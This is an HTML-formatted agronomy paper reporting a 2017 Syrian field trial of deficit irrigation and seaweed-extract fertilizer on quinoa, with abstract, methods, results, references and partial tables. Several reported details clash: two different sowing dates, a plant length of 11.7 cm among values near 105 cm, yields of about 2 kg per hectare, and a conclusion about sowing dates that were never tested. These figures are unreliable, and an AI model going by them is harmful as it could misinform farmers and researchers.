style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">2Rural Engineering Department, Faculty of Agriculture, Damascus University, Syria</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">&nbsp;<strong>*</strong><strong>Corresponding author: </strong>Entessar Al Jbawi, Sugar Beet Department, Crops Research Administration, General Commission for Scien&shy;tific Agricultural Research (GCSAR), Damascus, Syria. Tel: 963113947168; 963988699884; Fax: 963112254884; Email: <a href=\"mailto:dr.entessara@gmail.com\">dr.entessara@gmail.com</a></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Citation: </strong>Jbawi EA, Danoura R, Yaacoub A (2018) Effect of Deficit Irrigation and Manure Fertilizer on Improving Growth and Yield of Quinoa in Syria. Open Acc J Agri Res: OAJAR-100007.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Received Date: </strong>22 August, 2018; <strong>Accepted Date: </strong>18 September, 2018; <strong>Published Date: </strong>10 October, 2018</span></p>\r\n','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1. Abstract</strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">There is renewed interest in quinoa (<em>Chenopodium quinoa</em> Willd) production in Syria. However, recommended agronomic practices for maximizing productivity are limited. A field experiment was conducted at Karahta Agricultural Station, in Damascus Countryside Agricultural Research Center, General Commission for Scientific Agricultural Research (GCSAR), Syria, during 2017 to study the effect of organic amendment on the productivity and growth of quinoa under deficit irrigation. The experiment was split-plot design with three replications, with irrigation regimes (Full Irrigation FI 100, Deficit Irrigation DI 80 and DI 60) allocated in the main-plots, while organic fertilizer (control and sea weeds fertilizer) occupied the sub-plots. The results showed that the highest (p&le;0.05) values of the studied traits were obtained under the addition of sea weeds extracts. So, it is recommended to be added. In terms of irrigation regime, FI 100 was superior over DI 80 and DI 60 in stem diameter, and panicle length and diameter. But it had no significant effect on plant number per hectare, harvest index, panicle weight plant weight and grain weight per plant. Hence it is recommended to be follow the DI 60 in areas with water shortages.</span></p>\r\n','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>2. Keywords:</strong> Irrigation Regime; Quinoa; Sea Weeds Extracts; Syria; Yield</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>3. Introduction</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The demand for food is rising by rapid world population growth, and food security is one of the main concerns of this century. On the other hand, agricultural production is increasingly faced with environmental constraints such as drought, salinity and negative impacts of climate changes, therefore, the effective usage of limited water and soil resources, and the inclusion of new stress tolerant crops such as quinoa in cropping systems have become important.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Quinoa (<em>Chenopodium quinoa</em> Willd.) is an annual grain plant native to the Andean region of South America. This plant is known by resistance to various abiotic stresses such as salinity, drought and frost [1,2]. Also, it has been cultivated in diverse environmental conditions include low precipitation, high evapotranspiration rate, frost and soil salinity for thousands of years [3]. This crop has adapted to different agro-ecological zones range from sea level up to 4000 m altitude with its rich genetic diversity [3,4]. Its high gluten free nutritional component is another characteristic. It considers a unique food crop that contains all the essential amino acids, trace elements and vitamins [2]. Quinoa has been indicated as a good candidate to offer food security, especially in the face of the predicted future world scenario of increasing salinization and aridity [4]. Because of that quinoa has attracted interest all over the world and its cultivation has begun expand in many countries in Europe, Africa and Asia [5].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">It is well known that irrigation plays a key role in increasing agricultural productivity. On the other hand, the irrigated agriculture is already the largest water user with an average about 70% of global fresh water consumption. The climate change effects are further threat for limited fresh water resources especially in arid and semi-arid region. It is possible to obtain high yields using less water with appropriate deficit irrigation strategies. Deficit irrigation strategy could be a judicious solution to increase crop water productivity, and it was shown to be very efficient in arid and semi-arid region, which is suffering from water scarcity [6-10].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">There is no crop other than quinoa that resists the combination of adverse factors [3]. Quinoa is generally less affected by frost than most other crop species [1]. Geerts et al., (2008) [2] reported that maximal yield obtained under full irrigation was 2.04t/ ha, similar to deficit irrigation with 2.01 t/ha, while rainfed conditions yield was reduced to 1.68 t/ha. Studies were conducted on several crops in order to study the effect of organic amendment on water-holding capacity of soils and especially under arid and semi-arid conditions, indicating that organic matter input improved field capacity and soil water content and increased soil hydraulic conductivity [11,12]. Organic matter incorporation in the soil has also a positive effect on growth, productivity and yield [13-16].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Very few studies conducted on quinoa evaluating organic amendment on yield are available; nevertheless, other crops were tested with regard to organic amendment and showed a positive response. Adding organic manure in to the soil will improve the soil content in terms of nutrients after mineralization of the organic matter and will increase the nutrients availability for plants; therefore, the nutrients uptake will be increased and the plant growth and productivity will be improved [17]. Supplying organic matter under deficit irrigation conditions could be a practical solution to compensate the negative effect of water stress. Therefore, this study was carried out in order to determine: how organic amendment improves quinoa productivity and growth under deficit irrigation. Seaweeds and seaweed products are increasingly used in crop production. Further, seaweed extracts are considered an organic farm input as they are environmentally benign and safe for the health of animals and humans [18]. Seaweed components such as macro- and microelement nutrients, amino acids, vitamins, cytokinins, auxins, and Abscisic Acid (ABA)-like growth substances affect cellular metabolism in treated plants leading to enhanced growth and crop yield [19,20]. Plants sprayed with seaweed extracts also exhibit enhanced salt and freezing tolerance [21]. The study is carried out to detect the effect of organic amendment on the productivity and growth of quinoa under deficit irrigation under the Syrian conditions.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>4. Materials and Methods</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>4.1. Experimental Site and Soil</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">This research was conducted in the mid of February (2017), at Karahta Agricultural Station, in Damascus Countryside Agricultural Research Center, General Commission for Scientific Agricultural Research (GCSAR), Syria. The site has a latitude of 33.39 N, and longitude of 36.45 E. The soil of the experimental site is classi?ed as sandy, with medium texture throughout the soil pro?le, and has a pH 8, and electrical conductivity of the saturation extract (ECe) 0.9 dS m<sup>&ndash;1</sup>.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The soil of the experimental site is characterized by medium nitrogen, phosphorous and potassium content (38.7, 7.6 and 62 mg. Kg<sup>-1</sup> respectively). Nitrogen fertilization in the form of urea (46% N) was divided equally, the first half was added pre-planting, while the second half after thinning. Triple superphosphate (46% P<sub>2</sub>O<sub>5</sub>) and (K<sub>2</sub>O) were added pre-planting. Two factors experiment were conducted in a randomized complete block design (RCBD) in a split plots arrangement and three replications. The main plots were allotted to irrigation levels (100, 80 and 60) and the sub-plots to the organic manure (control and sea weeds extracts). The land was disc- ploughed, harrowed twice, leveled and ridged 50 cm apart, and 20 cm the space between holes. The size of the plot was 8X5 m, consisting of eight ridges of 8 m length. The seeds were sown manually on the shoulder of the ridge at a rate of 0.5 kg. ha<sup>-1</sup> (three seeds per hole) on November 15<sup>th</sup>.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>4.2.&nbsp;</strong><strong>Irrigation System and Scheduling</strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Drip laterals of 16 mm in diameter had in-line emitters spaced 0.20 m apart, each delivering 2.0 L h<sup>&ndash;1</sup>at an operating pressure of 100 kPa. One drip lateral was placed at the center of adjacent crop rows 0.50 m apart in the experimental plots. A locally produced drip-irrigation system was used in the study. Irrigations were applied at 2-week intervals depending on the temperature, relative humidity and soil moisture conditions. Soil-water de?cit in&nbsp;the 90-cm soil pro?le in the FI treatments was replenished to ?eld capacity. The de?cit irrigation treatments received the nominated percentage of water applied to the FI plots.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Irrigation treatments used in the experiment:</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">FI: Full irrigation </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">DI 80%: De?cit irrigation, 80% water applied to FI</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">DI 60%: De?cit irrigation, 60% water applied to FI</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>4.3. Agronomic Practices</strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Quinoa (cv. NSL-106398) seeds were sown by hand 20 cm apart in the row and at 50-cm row spacing on 15<sup>th</sup> February 2017. Hand thinning to one plant per hole and replanting by the removed seedlings were done simultaneously after 5-6 weeks from planting. Manual weeding was done, after 5 weeks from planting. At harvest (4 months from sowing), when plants showed signs of maturity which is indicated by leaf yellowing and partial drying of the lower leaves, a sample of five plants was taken per plot from the inner two ridges randomly hand-pulled to determine: Plant weight (g), panicle weight.plant<sup>-1</sup> (g), grain weight.plant<sup>-1 </sup>(g), plant length and diameter (cm), panicle length and diameter (cm), and three inner rows were harvested to determine number of plants.ha<sup>-1</sup> (plant density), and grain yield.ha<sup>-1 </sup>(GY). Harvest index (HI) was calculated as the ratio of the GY to total aboveground dry matter (DM) yield at harvest. Plant samples were dried at 65<sup>&ordm;</sup>C until constant weight was achieved. The temperatures during harvest reached 35<sup>&deg;</sup>C, (Table 1).</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>4.4. Statistical analyses</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Analysis of variance (ANOVA) appropriate for the split plot design was applied [22]. The treatment means were compared using Least Significant Difference (LSD) procedures at 5% level using Gene Stat Computer Program v.12.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>5. Results and Discussion</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>5.1. Plant Weight (g)</strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Table (2) illustrates a significant (P&le;0.05) effect of organic fertilizer on plant weight, while the effect of irrigation level was not significant on this trait. This trait was greater when adding sea weeds extracts (O1) (72.1 g) as compared with the control (O0) (61.9 g) (Table 4). This could be explained by the fact that seaweed components in treated plants led to enhanced growth and crop yield [19,20].</span></p>\r\n\r\n<p><strong>5.2.&nbsp;</strong><span style=\"font-family:Times New Roman,Times,serif\"><strong>Plant length (cm)</strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">The analysis of variance (Table 2) for plant length showed a significant (P&le;0.05) effect of irrigation level, organic amendment and the interaction on this character. Full irrigation FI and Deficit Irrigation DI 80 gave the highest values (11.7 and 105.8 cm respectively) with no significant differences (Table 3). Also, the organic treatment (108.6 cm) surpassed significantly the control (95.0 cm). The treatment FI 100 with the addition of organic amendment accounted the highest value (125 cm).</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>5.3. Grain weight. plant<sup>-1</sup> (g)</strong></span></p>\r\n\r\n<p><span style=\"font-size:10.0pt\"><span style=\"font-family:Times New Roman,Times,serif\">Table (3) exhibited a significant (P&le;0.05) effect of organic fertilizer on grain weight per plant, while the effect of irrigation level was not significant on this trait. This trait was greater when adding sea weeds extracts (O1) (21.5 g) as compared with the control (O0) (16.9 g) (Table 4).</span> </span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>5.4.&nbsp;Stem diameter (cm)</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The analysis of variance (Table 3) for stem diameter showed a significant (P&le;0.05) effect of irrigation regime, and organic amendment on this character. Full irrigation FI gave the highest value (1.7 cm), followed by DI 80 (1.4 cm), and then DI 60 which achieved (0.8 cm) (Table 4). Also, the organic treatment (1.5 m) surpassed significantly the control (1.1 cm). </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>5.5.&nbsp;<strong>Pa</strong>nicle length and diameter (cm)</strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Both traits were affected significantly (P&le;0.05) by irrigation regime and sea weeds extracts (organic fertilizer) (Table 5). The highest panicle length and diameter values were approached for FI 100 (44.76 and 11.1 cm respectively). Also, the treatment of organic fertilizer achieved the highest values of panicle length and diameter (42.6 and 9.8 cm respectively) (Table 6).</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>5.6. Plant number (thousands. ha<sup>-1</sup>)</strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Table (7) illustrates a significant (P&le;0.05) effect of organic fertilizer on plant number per hectare, while the effect of irrigation regime was not significant on this trait. This trait was greater when adding sea weeds extracts (O1) (94 thousands. ha<sup>-1</sup>) as compared with the control (O0) (88 thousands. ha<sup>-1</sup>) (Table 8).</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>5.7. Grain yield (Kg. ha<sup>-1</sup>)</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The analysis of variance (Table 7) for grain yield trait showed a significant (P&le;0.05) effect of sea weeds extracts treatment (2.02 Kg. ha<sup>-1</sup>) which surpassed significantly the control</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">(1.49 Kg. ha<sup>-1</sup>). This could be explained by the fact that seaweed components in treated plants led to enhanced growth and crop yield [19,20].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>5.8.&nbsp;</strong><strong>Harvest index (%)</strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Table (7) showed no significant (P&ge;0.05) effect of the main factors or the interaction on harvest index trait.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>6. Conclusion</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The highest (p&le;0.05) values of the studied traits were obtained under the addition of sea weeds extracts. So, it is recommended to be added. In terms of irrigation regime, FI 100 was superior over DI 80 and DI 60 in stem diameter, and panicle length and diameter. But it had no significant effect on plant number per hectare, harvest index, panicle weight plant weight and grain weight per plant. Hence it is recommended to be follow the DI 60 in areas with water shortages. Most interactions between sowing date and varieties were not significant for the studied production traits.</span></p>\r\n','<ol>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"http://agris.fao.org/agris-search/search.do?recordID=US201300997522\">Jacobsen SE, Monteros C, Christiansen JL, Bravo LA, Corcuera LJ, et al. (2005) Plant responses of quinoa (<em>Chenopodium</em> <em>quinoa</em> Willd.) to frost at various phonological stages. Food and Agriculture Organization of the United Nations.</a></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.sciencedirect.com/science/article/pii/S1161030107001207\">Geerts S, Raes D, Garcia M, Vacher J, Mamani R, et al. (2008) Introducing deficit irrigation to stabilize yields of quinoa (<em>Chenopodium</em> <em>quinoa</em> Willd.). Eur J Agron 28: 427-436.</a></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.tandfonline.com/doi/abs/10.1081/FRI-120018880\">Jacobsen SE, Mujicab A, Ortizb R (2003) The global potential for Quinoa and other Andean crops. Food Rev Int 19: 139-148.</a></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.sciencedirect.com/science/article/pii/S0378377402001622\">Garcia M, Raes D, Jacobsen SE (2003) Evapotranspiration analysis and irrigation requirements of quinoa (<em>Chenopodium</em> <em>quinoa</em>) in the Bolivian highlands. Agr Water Manage 60: 119-134.</a></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">FAO (2013) Food and Agriculture Organization statistic.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Hirich A, Choukr-Allah R, Jacobsen SE, Benlhabib O (2012a) Could quinoa be an alternative crop of wheat in the Mediterranean region: Case of Morocco? Les notes d&rsquo;alerte du CIHEAM N&deg;86. Pg No: 1-8.</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"http://www.bioline.org.br/pdf?cg12066\">Hirich A, Choukr-Allah R, Jacobsen SE, El Yousfi L, El Omari H (2012b) Using deficit irrigation with treated wastewater in the production of quinoa (<em>Chenopodium</em> <em>quinoa</em> Willd.) in Morocco. Rev Cient UDO Agr 12: 570-583.</a></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://waset.org/publications/2347/sweet-corn-water-productivity-under-several-deficit-irrigation-regimes-applied-during-vegetative-growth-stage-using-treated-wastewater-as-water-irrigation-source\">Hirich A, Rami A; Laajaj K, Choukr-Allah R, Jacobsen SE, et al. (2012c) Sweet corn water productivity under several deficit irrigation regimes applied during vegetative growth stage using treated wastewater as water irrigation source. World Acad Sci Eng Techn 61: 840-847.</a></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://link.springer.com/article/10.1007/s00271-013-0422-0\">Hirich A, Ragab R, Choukr-Allah R, Rami A (2013) The effect of deficit irrigation with treated wastewater on sweet corn: experimental and modelling study using SALTMED model. Irri Sci 32: 205-219.</a></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.tandfonline.com/doi/abs/10.1080/19443994.2013.804452\">Hirich A, Choukr-Allah R (2013) Faba bean (<em>Vicia</em> <em>faba</em> L.) production under deficit irrigation with treated wastewater applied during vegetative stage. Desalination Water Treat 52: 1-6.</a></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.sciencedirect.com/science/article/pii/S0167198705001765\">Ouattara K, Ouattara B, Assa A, Sedogo PM (2006) Long-term effect of ploughing, and organic matter input on soil moisture characteristics of a Ferric Lixisol in Burkina Faso. Soil Till Res 88: 217-224.</a></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://onlinelibrary.wiley.com/doi/abs/10.1111/j.1475-2743.2009.00224.x\">Wesseling J, Stoof C, Ritsema C, Oostindie K, Dekker L (2009) The effect of soil texture and organic amendment on the hydrological behaviour of coarse textured soils. Soil Use Manage 25: 274-283.</a></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.tandfonline.com/doi/abs/10.1080/15324988909381196\">Parr J, Papendick R, Hornick S, Colacicco D (1989) Use of organic amendments for increasing the productivity of arid lands. Arid Land Res Manage 3: 149-170.</a></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.sciencedirect.com/science/article/pii/S0167880900002462\">Ouedraogo E, Mando A, Zombre N (2001) Use of compost to improve soil properties and crop productivity under low input agricultural system in West Africa. Agr Ecosys Environ 84: 259-266.</a></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://link.springer.com/article/10.1007/s10705-008-9168-0\">Gopinath K, Saha S, Mina B, Pande H, Kundu S, et al. (2008) Influence of organic amendments on growth, yield and quality of wheat and on soil properties during transition to organic production. Nutr Cycl Agroecosys 82: 51-60.</a></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"http://agris.fao.org/agris-search/search.do?recordID=PK2011000413\">Ibrahim M, Hassan A, Iqbal M, Valeem EE (2008) Response of wheat growth and yield to various levels of compost and organic manure. Pak J Bot 40: 2135-2141.</a></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.sciencedirect.com/science/article/pii/S0038071709003666\">Hartley IP, Hopkins DW, Sommerkorn M, Wookey PA (2010) The response of organic matter mineralisation to nutrient and substrate additions in sub-arctic soils. Soil Biol Biochem 42: 92-100.</a></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://link.springer.com/article/10.1007/s00344-009-9103-x\">Khan W, Rayirath UP, Subramanian S, JitheshMn, Rayorath P, et al. (2009) Seaweed extracts as bio stimulants of plant growth and development. J Plant Growth Regul 28: 386-399.</a></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://onlinelibrary.wiley.com/doi/full/10.1046/j.1399-3054.2003.00207.x\">Durand N, Briand x, Meyer C (2003) The effect of marine bioactive substances (NPRO) and exogenous cytokinins on nitrate reductase activity in Arabidopsis thaliana. Physiol Plant 119: 489-493.</a></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://onlinelibrary.wiley.com/doi/abs/10.1046/j.1529-8817.2004.03046.x\">Ordog V, Stirk WA, Van Staden J, Novak O, Strnad M (2004) Endogenous cytokinins in the three genera of microalgae from the Chlorophyta. J Phycol 40: 88-95.</a></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><a href=\"https://www.jstor.org/stable/pdf/42882475.pdf?seq=1#page_scan_tab_contents\">Mancuso S, Azzarello E, Mugnai S, Briand X (2006) Marine bioactive substances (IPA extract) improve ion fluxes and water stress tolerance in potted Vitis vinifera plants. Adv Hortic Sci 20: 156-161.</a></span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Gomez KA, Gomez AA (1984) Statistical procedures for agricultural research. (2<sup>nd</sup> edition), john Willy and sons Inc. New York. Pg No: 680.</span></li>\r\n</ol>\r\n','','<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Citation: </strong><span style=\"font-size:12px\">Jbawi EA, Danoura R, Yaacoub A (2018) Effect of Deficit Irrigation and Manure Fertilizer on Improving Growth and Yield of Quinoa in Syria. Open Acc J Agri Res: OAJAR-100007.</span></span></p>\r\n','<table align=\"center\" border=\"1\" cellspacing=\"0\" class=\"Table\" style=\"width:700px\">\r\n	<tbody>\r\n		<tr>\r\n			<td style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Month</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Max. Temperature</span></strong></span></p>\r\n\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><sup><span style=\"font-size:10.0pt\">&deg;</span></sup><span style=\"font-size:10.0pt\">C</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Min. Temperature</span></strong></span></p>\r\n\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><sup><span style=\"font-size:10.0pt\">&deg;</span></sup><span style=\"font-size:10.0pt\">C</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Rainfall</span></strong></span></p>\r\n\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">mm</span></strong></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:111.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">January</span></strong></p>\r\n			</td>\r\n			<td style=\"width:114.95pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">16</span></strong></p>\r\n			</td>\r\n			<td style=\"width:114.95pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">-1</span></strong></p>\r\n			</td>\r\n			<td style=\"width:109.5pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">15.0</span></strong></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:111.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">February</span></strong></p>\r\n			</td>\r\n			<td style=\"width:114.95pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">23</span></strong></p>\r\n			</td>\r\n			<td style=\"width:114.95pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">-3</span></strong></p>\r\n			</td>\r\n			<td style=\"width:109.5pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">16.3</span></strong></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:111.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">March</span></strong></p>\r\n			</td>\r\n			<td style=\"width:114.95pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">25</span></strong></p>\r\n			</td>\r\n			<td style=\"width:114.95pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">3</span></strong></p>\r\n			</td>\r\n			<td style=\"width:109.5pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">6.7</span></strong></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:111.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">April</span></strong></p>\r\n			</td>\r\n			<td style=\"width:114.95pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">22</span></strong></p>\r\n			</td>\r\n			<td style=\"width:114.95pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">12</span></strong></p>\r\n			</td>\r\n			<td style=\"width:109.5pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">5.1</span></strong></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:111.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">May</span></strong></p>\r\n			</td>\r\n			<td style=\"width:114.95pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">35</span></strong></p>\r\n			</td>\r\n			<td style=\"width:114.95pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">13</span></strong></p>\r\n			</td>\r\n			<td style=\"width:109.5pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">2.3</span></strong></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:111.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">June</span></strong></p>\r\n			</td>\r\n			<td style=\"width:114.95pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">35</span></strong></p>\r\n			</td>\r\n			<td style=\"width:114.95pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">18</span></strong></p>\r\n			</td>\r\n			<td style=\"width:109.5pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">0</span></strong></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"4\" style=\"width:450.8pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Source: Meteorology Station in Damascus Countryside governorate.</span></strong></p>\r\n			</td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Table 1: </strong>Temperatures and rainfall distribution during 2017 season.</span></span></p>\r\n\r\n<div>\r\n<table align=\"center\" border=\"1\" cellspacing=\"0\" class=\"Table\" style=\"width:700px\">\r\n	<tbody>\r\n		<tr>\r\n			<td style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td colspan=\"3\" style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Plant weight (g)</span></strong></span></p>\r\n			</td>\r\n			<td colspan=\"3\" style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Plant length (cm)</span></strong></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:129.8pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Source of variance</span></strong></p>\r\n			</td>\r\n			<td style=\"width:36.35pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">df</span></p>\r\n			</td>\r\n			<td style=\"width:64.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">MS</span></p>\r\n			